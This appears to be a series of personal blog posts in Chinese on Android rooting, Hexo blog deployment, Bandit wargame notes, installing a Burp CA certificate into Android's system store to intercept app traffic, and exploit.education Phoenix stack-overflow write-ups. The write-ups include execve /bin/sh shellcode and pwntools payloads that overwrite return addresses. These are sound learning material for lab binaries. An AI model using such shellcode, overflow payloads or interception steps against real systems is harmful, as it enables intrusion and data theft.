0%

Android 9上已经不支持Xposed了,所以需要安抚Magisk Taichi。功能与Xposed基本相同。

下面的安装步骤是基于谷歌新儿子-Pixel 一代的。其他手机请在第一步的时候,也就是安装TWRP的时候选择自己的机型。

安装twrp

https://twrp.me/google/googlepixel.html

1
2
3
4
# 安装twrp
adb push twrp-pixel-installer-sailfish-3.3.0-0.zip /sdcard/
adb reboot-bootloader
fastboot boot path/to/twrp.img

在twrp里面把上面push进去的zip安装了。重启。

安装Magisk

https://github.com/topjohnwu/Magisk/releases

1
2
adb push Magisk-vxxxx.zip /sdcard
adb reboot-bootloader

在twrp里面把上面push进去的zip安装了。重启

如果使用taichi:

安装taichi magisk模块

https://github.com/taichi-framework/TaiChi/releases

1
2
1. adb push magisk-taichi-v6.1.0.zip /sdcard
2. adb reboot-bootloader

同上一步,在twrp里把magisk-taichi安装了,重启

安装 Taichi App

Install TaiChi App. You can find it in Release page of TaiChi.
https://github.com/taichi-framework/TaiChi/releases

1
1. adb install taichi-xxxxx.apk

如果使用EdXposed:

安装EdXposed

https://github.com/ElderDrivers/EdXposed/releases

1
2
3
adb push EdXposed-xxxx-xxxx.zip /sdcard
# reboot to twrp
# 在twrp中安装 edxposed

安装 EdXposed Manager

https://github.com/ElderDrivers/EdXposedManager

安装riru

https://github.com/RikkaApps/Riru/releases

1
2
3
adb push magisk-riru.zip /sdcard/
adb reboot-bootloader
# 在twrp中安装 magisk-riru.zip

安装 Magisk Manager

https://magiskmanager.com/

1
adb install magiskmanager.apk

收工。

原因

自己在VPS上也可以弄,这个博客上有设置方法,还能够自动更新HTTPS证书。可自行查找。

但作为一个记录、分享型的博客,没必要用后端数据库,直接静态页面就行。

而静态页面最好就是用Markdown写作了。

那自然想到Hexo,但Hexo如果放在VPS上,还需要配置nginx或者hexo-admin插件,才能像常规CMS一样更新内容。总感觉有些不方便。

于是就有了这次的折腾。

结果

折腾完之后,工作流是这样的:

  1. 本地hex new \[文章名字\]
  2. 本地 vscode,编写markdown
  3. 写完之后,hexo g && hexo d 自动上传到gitee和github。是的,两个同时传。
  4. gitee无法绑定个人域名,github可以。所以两个都传。都免费的,不用白不用,万一其中一个不能用了,另一个顶上。

配置

系统

wsl2 ubuntu

vs code

插件如下:

  • Markdown Preview Enhanced
  • Paste Image

其中Paste Image配置好下:

hexo

需要安装的插件

  • hexo-generate-searchdb
  • hexo-deployer-git
  • hexo-excerpt
  • next 主题

github 与 gitee

  1. 申请账号

  2. 新建repo

    • github上用username.github.io
    • gitee上用username
  3. 生成密钥,并把同一个公钥都添加到github和gitee

  4. github上设置github page, 绑定个人域名,在theme/next/source下,新建CNAME文件,内容为你的域名

  5. 在域名服务商那里设置dns解析

    1
    2
    3
    4
    5
    6
    7
    record  host    target

    A @ 185.199.108.153
    A @ 185.199.109.153
    A @ 185.199.110.153
    A @ 185.199.111.153
    CNAME www [your-username].github.io
  6. 设置hexo_config.yml

    1
    2
    3
    4
    5
    6
    7
    deploy:
    - type: 'git'
    repo: 'git@gitee.com:m0nst3r/m0nst3r.git'
    branch: 'master'
    - type: 'git'
    repo: 'git@github.com:mr-m0nst3r/mr-m0nst3r.github.io.git'
    branch: 'master'
  7. 先安装依赖

    1
    2
    3
    4
    5
    6
    7
    python3 -m pip install pyvirtualdisplay
    python3 -m pip install selenium
    sudo apt-get install xvfb
    wget https://chromedriver.storage.googleapis.com/80.0.3987.106/chromedriver_linux64.zip
    unzip chromedriver_linux64.zip
    sudo mv chromedriver /usr/bin/
    sudo apt install libnss3 libnss3-dev libnss3-tools chromium-browser
  8. gitee上的页面不是push上去就会更新,需要登陆点一下,于是借用了这个脚本.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import time
from selenium import webdriver
from pyvirtualdisplay import Display
from selenium.webdriver.common.alert import Alert

display = Display(visible=0, size=(800, 600))
display.start()

# 模拟浏览器打开到gitee登录界面
driver = webdriver.Chrome()
driver.get('https://gitee.com/login')
# 将窗口最大化
driver.maximize_window()
time.sleep(2)

# 输入账号--通过html的id属性定位输入位置--改为你的账号
user_login = driver.find_element_by_id('user_login')
user_login.send_keys("改为你的账号")
# 输入密码--通过html的id属性定位输入位置--改为你的密码
driver.find_element_by_id('user_password').send_keys("改为你的密码")
# 点击登录按钮--通过xpath确定点击位置
driver.find_element_by_xpath(
'/html/body/div[2]/div[2]/div/div[1]/div[2]/div/form[1]/div[2]/div/div/div[4]/input').click()

time.sleep(2)

# 切换到gitee pages界面--改为you_gitee_id
driver.get('https://gitee.com/改为you_gitee_id/改为you_gitee_id/pages')
# 点击更新按钮--通过xpath确定点击位置
# /html/body/div[3]/div[2]/div/div[2]/div[1]/form/div[7]
driver.find_element_by_xpath('/html/body/div[3]/div[2]/div/div[2]/div[1]/form/div[7]').click()
# 确认更新提示框--这个函数的作用是确认提示框
Alert(driver).accept()

# 等待5秒更新
time.sleep(5)

# 这个print其实没事什么用,如果真的要测试脚本是否运行成功,可以用try来抛出异常
print("成功")

# 脚本运行成功,退出浏览器
driver.quit()

# 写上更新日志
# 我这里是写在D盘,可以改为自己喜欢的目录
fp = open("D:\sites\log.txt", "a+")
now_time = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())
fp.write("auto update time:{0}\n".format(now_time))
fp.close()

最后优化一下:

1
2
chmod +x gitee-update.py
sudo ln -s /mnt/d/sites/gitee-update.py /usr/bin/update-gitee

以后更新完之后,执行update-gitee就ok了!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
michael@DESKTOP-HE0BL7H:/mnt/d/sites/m0nst3r.me$ hexo g && hexo d
INFO Start processing
INFO Files loaded in 995 ms
INFO Generated: blaa/用hexo在github-gitee上建博客.html
INFO Generated: index.html
INFO Generated: search.xml
INFO 3 files generated in 1.18 s
INFO Deploying: git
INFO Clearing .deploy_git folder...
INFO Copying files from public folder...
INFO Copying files from extend dirs...
[master b0ccc14] Site updated: 2020-04-07 23:50:20
3 files changed, 17 insertions(+), 7 deletions(-)
Counting objects: 6, done.
Delta compression using up to 12 threads.
Compressing objects: 100% (6/6), done.
Writing objects: 100% (6/6), 2.73 KiB | 62.00 KiB/s, done.
Total 6 (delta 5), reused 0 (delta 0)
remote: Powered by GITEE.COM [GNK-3.8]
To gitee.com:m0nst3r/m0nst3r.git
030129a..b0ccc14 HEAD -> master
Branch 'master' set up to track remote branch 'master' from 'git@gitee.com:m0nst3r/m0nst3r.git'.
INFO Deploy done: git
INFO Deploying: git
INFO Clearing .deploy_git folder...
INFO Copying files from public folder...
INFO Copying files from extend dirs...
On branch master
nothing to commit, working tree clean
Counting objects: 6, done.
Delta compression using up to 12 threads.
Compressing objects: 100% (6/6), done.
Writing objects: 100% (6/6), 2.73 KiB | 60.00 KiB/s, done.
Total 6 (delta 5), reused 0 (delta 0)
remote: Resolving deltas: 100% (5/5), completed with 5 local objects.
To github.com:mr-m0nst3r/mr-m0nst3r.github.io.git
030129a..b0ccc14 HEAD -> master
Branch 'master' set up to track remote branch 'master' from 'git@github.com:mr-m0nst3r/mr-m0nst3r.github.io.git'.
INFO Deploy done: git
michael@DESKTOP-HE0BL7H:/mnt/d/sites$ update-gitee
成功
michael@DESKTOP-HE0BL7H:/mnt/d/sites$

流程完美!打完收工

angr_ctf

一个练习angr用法的题目,里面有说明指导。https://github.com/jakespringer/angr_ctf/

因为国内相关资料太少了,所以做成了视频,更新在B站。

刚开始接触相关内容,视频只能算抛砖引砖,表达能力与水平比较低,轻喷

BiliBili 播放列表,还在持续更新
https://space.bilibili.com/386563875/channel/detail?cid=109932

QQ群:951587491
群内还是有大神的。

Touchpad control on Linux running on Alienware is not supported by Fn+f11, so you may need this small script.

new to shell script, you might want improve it

1
2
3
4
5
6
7
8
9
#!/bin/bash

if [ "$1" == "on" ]; then
/usr/bin/xinput enable "`xinput list | grep -i touchpad | awk '{print $3" "$4" "$5}'`"
elif [ "$1" == "off" ]; then
/usr/bin/xinput disable "`xinput list | grep -i touchpad | awk '{print $3" "$4" "$5}'`"
else
echo " Usage: touchpad on/off"
fi

You might wannt to change awk '{print $3" "$4" "$5}' part so to get your whole touchpad name. Check before you run

chmod +x this.sh && ls -s this.sh .bin/touchpad is recommended.

网址:https://overthewire.org/wargames/bandit/

目前就34个关卡,大部分比较容易,有几个需要一些搜索.

不写整体的writeup了,只写其中做的几个笔记

find

find / -type f -user xxx -group yyy -size 33c ! -executable 2>/dev/null -exec cat {} \;

cut/awk

cat data.txt | grep millionth | cut -f 2

cat data.txt | grep millionth | awk '{print $2}'

sort

cat data.txt | sort | uniq -c | sort -nr | tail -n 1 | awk '{print $2}'

strings

cat data.txt | strings | grep =

tr for rot13

cat data.txt | strings | tr "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" "NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm"

xxd

xxd -r data.txt: reverse hexdump output to bin

zips

gzip -d data -c > data1
bzip2 -d data1
tar xvf data1.out

openssl

openssl s_client -connect localhost:30001

ssh using other tty

ssh -p 2220 -t bandit18@bandit.labs.overthewire.org /bin/sh

vi shell

1
2
:set shell=/bin/bash
:shell

git

git log -p -2
git diff commitid1 commitid2

switch to other branch

git remote show ==> shows the origin

git remote show origin ==> shows remote branches

git checkout dev ==> switch to dev branch

git show --name-only secret ==> shows the content of tag secret

git show-ref --tags -d ==> lists tags with their commits, the -d in order to dereference the annotated tag object (which have their own commit SHA1) and display the actual tagged commit.

git show --name-only <aTag> ==> list the tag and associated commit

bash

$0 ==> the shell name or script name

upload successful

操作

在Burp中导出证书,这里的名字为burp.der.

然后在命令行中进行如下操作:

1
2
3
4
5
6
7
openssl x509 -inform DER -in burp.der -out burp.pem #转换格式
openssl x509 -inform PEM -subject_hash_old -in burp.pem | head -1 #打印hash,并将pem命名为hash.0
> 9a5ba575
cp burp.pem 9a5ba575.0
adb remount #重新mount
adb push 9a5ba575.0 /system/etc/security/cacerts/ #传上去
adb reboot #搞定

前提

  1. 手机完全root

适用

要测试的APP在容器是的容器里面,sslunpinning有时不能将所有层都hook好,导致一部分流量仍然提示证书错误.

可能遇到的问题

1
2
remount of /system failed: Read-only file system
remount failed

解决办法:

1
2
3
4
5
6
adb root
adb disable-verity
adb reboot
adb remount
adb shell
mount -o rw,remount /system

初次体验基于栈溢出的PWN!

源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
/*
* phoenix/stack-five, by https://exploit.education
*
* Can you execve("/bin/sh", ...) ?
*
* What is green and goes to summer camp? A brussel scout.
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BANNER \
"Welcome to " LEVELNAME ", brought to you by https://exploit.education"

char *gets(char *);

void start_level() {
char buffer[128];
gets(buffer);
}

int main(int argc, char **argv) {
printf("%s\n", BANNER);
start_level();
}

分析

stack-four基本一样,只不过buffer大了一些。
过这个关卡,不是要执行到complete_level函数了,而是要get shell。也就是通过溢出漏洞,来执行我们自己的程序,即shellcode

shellcode就是一段执行返回一个shell的汇编代码。

我们将shellcode写到栈中,再通过溢出控制RIP,让程序去执行我们在栈中写好的shellcode,从而拿到shell

所以,在栈中基本上是这样的:

image-20190411231630801.png
upload successful

为了让我们的shellcode顺利执行,nopsled最好要有,因为有比如环境变量等的影响,栈中的地址会出现小幅度的偏移。

那我们生成payload的脚本也就有了初步的样子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

offset = ???? # <===这个大小不知道

shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" # 这是一个x86_64的/bin/sh程序

#ret_addr = ??????? # <===这个地址目前还不知道

buffer = ""
buffer += "\x90" * 70
buffer += shellcode
buffer += "\x90" * (offset - len(buffer))
buffer += p64(ret_addr)

print buffer

实操

先来看下二进制文件信息:

1
2
3
4
5
6
7
8
9
user@phoenix-amd64:~$ checksec /opt/phoenix/amd64/stack-five 
[*] '/opt/phoenix/amd64/stack-five'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
RPATH: '/opt/phoenix/x86_64-linux-musl/lib'

没有保护措施,可以直接写地址跳转。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
user@phoenix-amd64:~$ gdb -q /opt/phoenix/amd64/stack-five 
Reading symbols from /opt/phoenix/amd64/stack-five...(no debugging symbols found)...done.
(gdb) disassemble main
Dump of assembler code for function main:
0x00000000004005a4 <+0>: push %rbp
0x00000000004005a5 <+1>: mov %rsp,%rbp
0x00000000004005a8 <+4>: sub $0x10,%rsp
0x00000000004005ac <+8>: mov %edi,-0x4(%rbp)
0x00000000004005af <+11>: mov %rsi,-0x10(%rbp)
0x00000000004005b3 <+15>: mov $0x400620,%edi
0x00000000004005b8 <+20>: callq 0x400400 <puts@plt>
0x00000000004005bd <+25>: mov $0x0,%eax
0x00000000004005c2 <+30>: callq 0x40058d <start_level>
0x00000000004005c7 <+35>: mov $0x0,%eax
0x00000000004005cc <+40>: leaveq
0x00000000004005cd <+41>: retq
End of assembler dump.
(gdb) disassemble start_level
Dump of assembler code for function start_level:
0x000000000040058d <+0>: push %rbp
0x000000000040058e <+1>: mov %rsp,%rbp
0x0000000000400591 <+4>: add $0xffffffffffffff80,%rsp
0x0000000000400595 <+8>: lea -0x80(%rbp),%rax
0x0000000000400599 <+12>: mov %rax,%rdi
0x000000000040059c <+15>: callq 0x4003f0 <gets@plt>
0x00000000004005a1 <+20>: nop
0x00000000004005a2 <+21>: leaveq
0x00000000004005a3 <+22>: retq
End of assembler dump.


(gdb) break *0x00000000004005a1
Breakpoint 1 at 0x4005a1
(gdb) r
Starting program: /opt/phoenix/amd64/stack-five
Welcome to phoenix/stack-five, brought to you by https://exploit.education
AAAA

Breakpoint 1, 0x00000000004005a1 in start_level ()




(gdb) x/64xw $rsp
0x7fffffffe5a0: 0x41414141 0x00000000 0x00400620 0x00000000
0x7fffffffe5b0: 0x004005a4 0x00000000 0x00000000 0x00000000
0x7fffffffe5c0: 0x00000000 0x00000000 0xf7db6dde 0x00007fff
0x7fffffffe5d0: 0x004005a4 0x00000000 0x00b90035 0x03fb0686
0x7fffffffe5e0: 0x00000000 0x00000000 0xf7db6b1e 0x00007fff
0x7fffffffe5f0: 0xf7ffb300 0x00007fff 0x00000000 0x0a000000
0x7fffffffe600: 0xf7ffb300 0x00007fff 0xf7db9934 0x00007fff
0x7fffffffe610: 0xffffe698 0x00007fff 0xffffe640 0x00007fff
0x7fffffffe620: 0xffffe640 0x00007fff 0x004005c7 0x00000000
0x7fffffffe630: 0xffffe698 0x00007fff 0x00000000 0x00000001
0x7fffffffe640: 0x00000001 0x00000000 0xf7d8fd62 0x00007fff
0x7fffffffe650: 0x00000000 0x00000000 0xffffe690 0x00007fff
0x7fffffffe660: 0x00000000 0x00000000 0xf7ffdbc8 0x00007fff
0x7fffffffe670: 0x00003e00 0x04000001 0x00400459 0x00000000
0x7fffffffe680: 0x00000000 0x00000000 0x00400436 0x00000000
0x7fffffffe690: 0x00000001 0x00000000 0xffffe894 0x00007fff

我们先看了一下main函数与start_level函数的汇编代码,并在程序获取用户输入(gets)函数后下断点。

然后运行程序,并给入AAAA的输入,回车后程序遇到我们的断点停下来,再查看一下栈中的情况。

之前说到,call调用的时候,会将返回地址压栈,所以我们要在栈中找到call下一条命令的地址,即0x04005c7

通过查看栈,可以发现:

1
2
offset = 0x7fffffffe628 - 0x7fffffffe5a0 = 136
rsp = 0x7fffffffe5a0

所以我们只需将RIP这个返回地址写成rsp的地址,程序就会跳到我们的nopsled中去,然后执行shellcode

完美一下我们生成payload的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

from pwn import *

offset = 136

shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" # 这是一个x86_64的/bin/sh程序

ret_addr = 0x7fffffffe5a0

buffer = ""
buffer += "\x90" * 70
buffer += shellcode
buffer += "\x90" * (offset - len(buffer))
buffer += p64(ret_addr)

print buffer

shell

1
2
3
4
5
6
7
8
9
10
11
user@phoenix-amd64:~$ python exp5.py > five2
user@phoenix-amd64:~$ cat five2 | /opt/phoenix/amd64/stack-five
Welcome to phoenix/stack-five, brought to you by https://exploit.education
user@phoenix-amd64:~$ cat five2 - | /opt/phoenix/amd64/stack-five
Welcome to phoenix/stack-five, brought to you by https://exploit.education
id
uid=1000(user) gid=1000(user) euid=405(phoenix-amd64-stack-five) egid=405(phoenix-amd64-stack-five) groups=405(phoenix-amd64-stack-five),27(sudo),1000(user)
whoami
phoenix-amd64-stack-five
^C
user@phoenix-amd64:~$

值得注意的是,在这里直接cat five2 | /xxxxxx/stack-five是不能成功的,因为/bin/sh需要输入,而cat命令在输出完我们的payload之后就会关闭输入,导致/bin/sh也退出了。

总结

  1. nopsled比较关键,太小的时候,会使得shellcode执行不完整,出现Program received signal SIGILL, Illegal instruction.的错误提示。
  2. r2实操的部分晚些时候再发上来。得赶紧睡觉了。

这个关卡是一个标准的栈溢出的例子。

源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
/*
* phoenix/stack-four, by https://exploit.education
*
* The aim is to execute the function complete_level by modifying the
* saved return address, and pointing it to the complete_level() function.
*
* Why were the apple and orange all alone? Because the bananna split.
*/

#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BANNER \
"Welcome to " LEVELNAME ", brought to you by https://exploit.education"

char *gets(char *);

void complete_level() {
printf("Congratulations, you've finished " LEVELNAME " :-) Well done!\n");
exit(0);
}

void start_level() {
char buffer[64];
void *ret;

gets(buffer);

ret = __builtin_return_address(0);
printf("and will be returning to %p\n", ret);
}

int main(int argc, char **argv) {
printf("%s\n", BANNER);
start_level();
}

分析

main调用start_levelstart_level中有一个gets函数会千万栈溢出,利用溢出漏洞我们可以控制RIP/EIP,也就是程序执行流程。通过将返回地址覆盖成complete_level函数的地址,就过关了。

实操

先来看一下主要函数部分的汇编代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
000000000040061d <complete_level>:
40061d: 55 push %rbp
40061e: 48 89 e5 mov %rsp,%rbp
400621: bf f0 06 40 00 mov $0x4006f0,%edi
400626: e8 55 fe ff ff callq 400480 <puts@plt>
40062b: bf 00 00 00 00 mov $0x0,%edi
400630: e8 5b fe ff ff callq 400490 <exit@plt>

0000000000400635 <start_level>:
400635: 55 push %rbp
400636: 48 89 e5 mov %rsp,%rbp
400639: 48 83 ec 50 sub $0x50,%rsp
40063d: 48 8d 45 b0 lea -0x50(%rbp),%rax
400641: 48 89 c7 mov %rax,%rdi
400644: e8 27 fe ff ff callq 400470 <gets@plt>
400649: 48 8b 45 08 mov 0x8(%rbp),%rax
40064d: 48 89 45 f8 mov %rax,-0x8(%rbp)
400651: 48 8b 45 f8 mov -0x8(%rbp),%rax
400655: 48 89 c6 mov %rax,%rsi
400658: bf 33 07 40 00 mov $0x400733,%edi
40065d: b8 00 00 00 00 mov $0x0,%eax
400662: e8 f9 fd ff ff callq 400460 <printf@plt>
400667: 90 nop
400668: c9 leaveq
400669: c3 retq

000000000040066a <main>:
40066a: 55 push %rbp
40066b: 48 89 e5 mov %rsp,%rbp
40066e: 48 83 ec 10 sub $0x10,%rsp
400672: 89 7d fc mov %edi,-0x4(%rbp)
400675: 48 89 75 f0 mov %rsi,-0x10(%rbp)
400679: bf 50 07 40 00 mov $0x400750,%edi
40067e: e8 fd fd ff ff callq 400480 <puts@plt>
400683: b8 00 00 00 00 mov $0x0,%eax
400688: e8 a8 ff ff ff callq 400635 <start_level>
40068d: b8 00 00 00 00 mov $0x0,%eax
400692: c9 leaveq
400693: c3 retq
400694: 66 2e 0f 1f 84 00 00 nopw %cs:0x0(%rax,%rax,1)
40069b: 00 00 00
40069e: 66 90 xchg %ax,%ax

call汇编指令分为两个部分,

  1. 将当前指令的下一条指令地址压入栈中
  2. JMP(无条件跳转)到目标函数地址。

在程序从main函数的0x400688处调用(call)start_level函数时,会先将0x40068d这个地址压入栈中,作为返回地址,以便执行完start_level之后程序再回到main函数继续执行。

来到0x0400635处的start_level函数,系统会保存main函数时的RBP,并通过提升栈顶(表现为将RSP减去一定字节),为局部变量bufferret分配合适的空间。buffer为一个char类型的数组,所以长度为64字节;ret为地址类型的变量,所以在64位系统中长度为8个字节。理论计算应该分配64+8=72个字节。
但是出于地址对齐等原因,一般会比这个长度大小要大一些,如本例子中就分配了0x50 = 80个字节的空间。

对于局部变量在调用栈中的分配,一般是按照定义顺序进行分配的,除非打开某些编译器优化选项。

综合上面的内容,我们可以认为start_level栈是这样的:

1554818156508.jpg
upload successful

当执行到gets函数时,栈顶地址作为gets的参数传入,所以我们的输入是从栈顶开始向下覆盖的。如果我们这时利用溢出将ret to main这个地址(返回地址)覆盖成complete_level函数的地址,那么start_level执行完毕后,想要返回main函数继续执行时,却因为我们已经更改了返回地址,去执行了complete_level函数。

那么接下来的事儿就简单了。
首先,complete_level函数的地址在上面已经看到,为0x040061d,那么为了覆盖返回地址(也就是图中ret to main的地址),我们需要多少个字符填充呢?对,就是0x50+8 = 88个字节,后面跟上0x040061d,就完成过关。

1
2
3
4
user@phoenix-amd64:~$ python -c "from pwn import *;print 'A'*88+p64(0x040061d)" | /opt/phoenix/amd64/stack-four 
Welcome to phoenix/stack-four, brought to you by https://exploit.education
and will be returning to 0x40061d
Congratulations, you've finished phoenix/stack-four :-) Well done!

总结

  1. 要对调用栈的数据分布比较了解
  2. 理论计算不如看一下汇编代码,因为编译器可能由于优化、地址对齐等原因对栈的大小进行调整。

stack-two基本上于stack-one一样,只不过需要设置一个环境变量,程序是从环境变量中获取的值。

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
/*
* phoenix/stack-three, by https://exploit.education
*
* The aim is to change the contents of the changeme variable to 0x0d0a090a
*
* When does a joke become a dad joke?
* When it becomes apparent.
* When it's fully groan up.
*
*/

#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BANNER \
"Welcome to " LEVELNAME ", brought to you by https://exploit.education"

char *gets(char *);

void complete_level() {
printf("Congratulations, you've finished " LEVELNAME " :-) Well done!\n");
exit(0);
}

int main(int argc, char **argv) {
struct {
char buffer[64];
volatile int (*fp)();
} locals;

printf("%s\n", BANNER);

locals.fp = NULL;
gets(locals.buffer);

if (locals.fp) {
printf("calling function pointer @ %p\n", locals.fp);
fflush(stdout);
locals.fp();
} else {
printf("function pointer remains unmodified :~( better luck next time!\n");
}

exit(0);
}

分析

main函数中并没有调用complete_level函数的地方,要完成这个关卡,需要想办法调用这个函数。
main函数中,可通过溢出gets函数,覆盖local.fp指针,将fp的值改变为complate_level函数的地址,就完成了。

实操

先查看一下二进制文件的信息:

1
2
3
4
5
6
7
8
9
user@phoenix-amd64:/opt/phoenix/amd64$ checksec ./stack-three 
[*] '/opt/phoenix/amd64/stack-three'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
RPATH: '/opt/phoenix/x86_64-linux-musl/lib'

我们发现No RELRO,也就是没有地址重定位。
通过ldd命令也可以查看是否开启了地址重定位:

1
2
3
4
5
6
7
8
9
user@phoenix-amd64:/opt/phoenix/amd64$ ldd stack-three 
linux-vdso.so.1 (0x00007ffff7ffa000)
libc.so => /opt/phoenix/x86_64-linux-musl/lib/libc.so (0x00007ffff7b45000)
user@phoenix-amd64:/opt/phoenix/amd64$ ldd stack-three
linux-vdso.so.1 (0x00007ffff7ffa000)
libc.so => /opt/phoenix/x86_64-linux-musl/lib/libc.so (0x00007ffff7b45000)
user@phoenix-amd64:/opt/phoenix/amd64$ ldd stack-three
linux-vdso.so.1 (0x00007ffff7ffa000)
libc.so => /opt/phoenix/x86_64-linux-musl/lib/libc.so (0x00007ffff7b45000)

我们发现libc.so的地址没有变化。

然后就要找一下complete_level函数的地址,可以通过r2/objdump工具:
首先使用objdump命令:

1
2
user@phoenix-amd64:/opt/phoenix/amd64$ objdump -t ./stack-three | grep complete_level
000000000040069d g F .text 0000000000000018 complete_level

使用radare2:

1
2
3
4
5
6
7
8
9
10
user@phoenix-amd64:/opt/phoenix/amd64$ r2 stack-three 
[0x00400530]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze len bytes of instructions for references (aar)
[x] Analyze function calls (aac)
[ ] [*] Use -AA or aaaa to perform additional experimental analysis.
[x] Constructing a function name for fcn.* and sym.func.* functions (aan))
[0x00400530]> afl~complete_level
0x0040069d 1 24 sym.complete_level
[0x00400530]>

所以,我们要将fp覆盖为0x0040069d。那接下来的就简单了:

1
2
3
4
user@phoenix-amd64:/opt/phoenix/amd64$ python -c "from pwn import *;print 'A'*64+p64(0x0040069d)" | ./stack-three 
Welcome to phoenix/stack-three, brought to you by https://exploit.education
calling function pointer @ 0x40069d
Congratulations, you've finished phoenix/stack-three :-) Well done!

总结

  • checksec 查看二进制信息
  • objdump 查找符号表信息
  • r2 afl命令。(analyze function list)

源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
/*
* phoenix/stack-one, by https://exploit.education
*
* The aim is to change the contents of the changeme variable to 0x496c5962
*
* Did you hear about the kid napping at the local school?
* It's okay, they woke up.
*
*/

#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BANNER \
"Welcome to " LEVELNAME ", brought to you by https://exploit.education"

int main(int argc, char **argv) {
struct {
char buffer[64];
volatile int changeme;
} locals;

printf("%s\n", BANNER);

if (argc < 2) {
errx(1, "specify an argument, to be copied into the \"buffer\"");
}

locals.changeme = 0;
strcpy(locals.buffer, argv[1]);

if (locals.changeme == 0x496c5962) {
puts("Well done, you have successfully set changeme to the correct value");
} else {
printf("Getting closer! changeme is currently 0x%08x, we want 0x496c5962\n",
locals.changeme);
}

exit(0);
}

分析

危险的strcpy()。结构体中的changeme变量会在进行strcpy时被溢出覆盖。记得stack-zero的目的,是改变changeme的值就会通过,但这个关卡要求我们必须将changeme改变成0x496c5962才行。
结构体locals包含两个成员,与stack-zero相同。64个字符+1个int。

实操

首先,strcpy是从argv[1]中获取的输入,所以如果我们直接将输出传给stack-one,会出错:

1
2
3
4
5
6
7
8
user@phoenix-amd64:~$ python -c "print 'A'*65"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
user@phoenix-amd64:~$ python -c "print 'A'*65" | /opt/phoenix/amd64/stack-one
Welcome to phoenix/stack-one, brought to you by https://exploit.education
stack-one: specify an argument, to be copied into the "buffer"
close failed in file object destructor:
sys.excepthook is missing
lost sys.stderr

解决办法是用xargs命令:

1
2
3
user@phoenix-amd64:~$ python -c "print 'A'*65" | xargs /opt/phoenix/amd64/stack-one 
Welcome to phoenix/stack-one, brought to you by https://exploit.education
Getting closer! changeme is currently 0x00000041, we want 0x496c5962

可以看到,我们将changeme改变为了0x41,即字符A
接下来就简单了,只要构造0x496c5962就可以。
使用pwntoolsp32/p64即可。

1
2
3
4
user@phoenix-amd64:~$ python -c "import pwn;print 'A'*64+pwn.p64(0x496c5962)" | xargs /opt/phoenix/amd64/stack-one 
xargs: WARNING: a NUL character occurred in the input. It cannot be passed through in the argument list. Did you mean to use the --null option?
Welcome to phoenix/stack-one, brought to you by https://exploit.education
Well done, you have successfully set changeme to the correct value

其他方式

GDB

1
2
3
4
5
6
7
8
python -c "import pwn;print 'A'*64+pwn.p64(0x496c5962)"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbYlI\x00\x00\x00\x00
user@phoenix-amd64:~$ gdb /opt/phoenix/amd64/stack-one
gef➤ run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbYlI
Starting program: /opt/phoenix/amd64/stack-one AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbYlI
Welcome to phoenix/stack-one, brought to you by https://exploit.education
Well done, you have successfully set changeme to the correct value
[Inferior 1 (process 9358) exited normally]

或者

1
2
3
4
5
6
gef➤  set args AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbYlI
gef➤ run
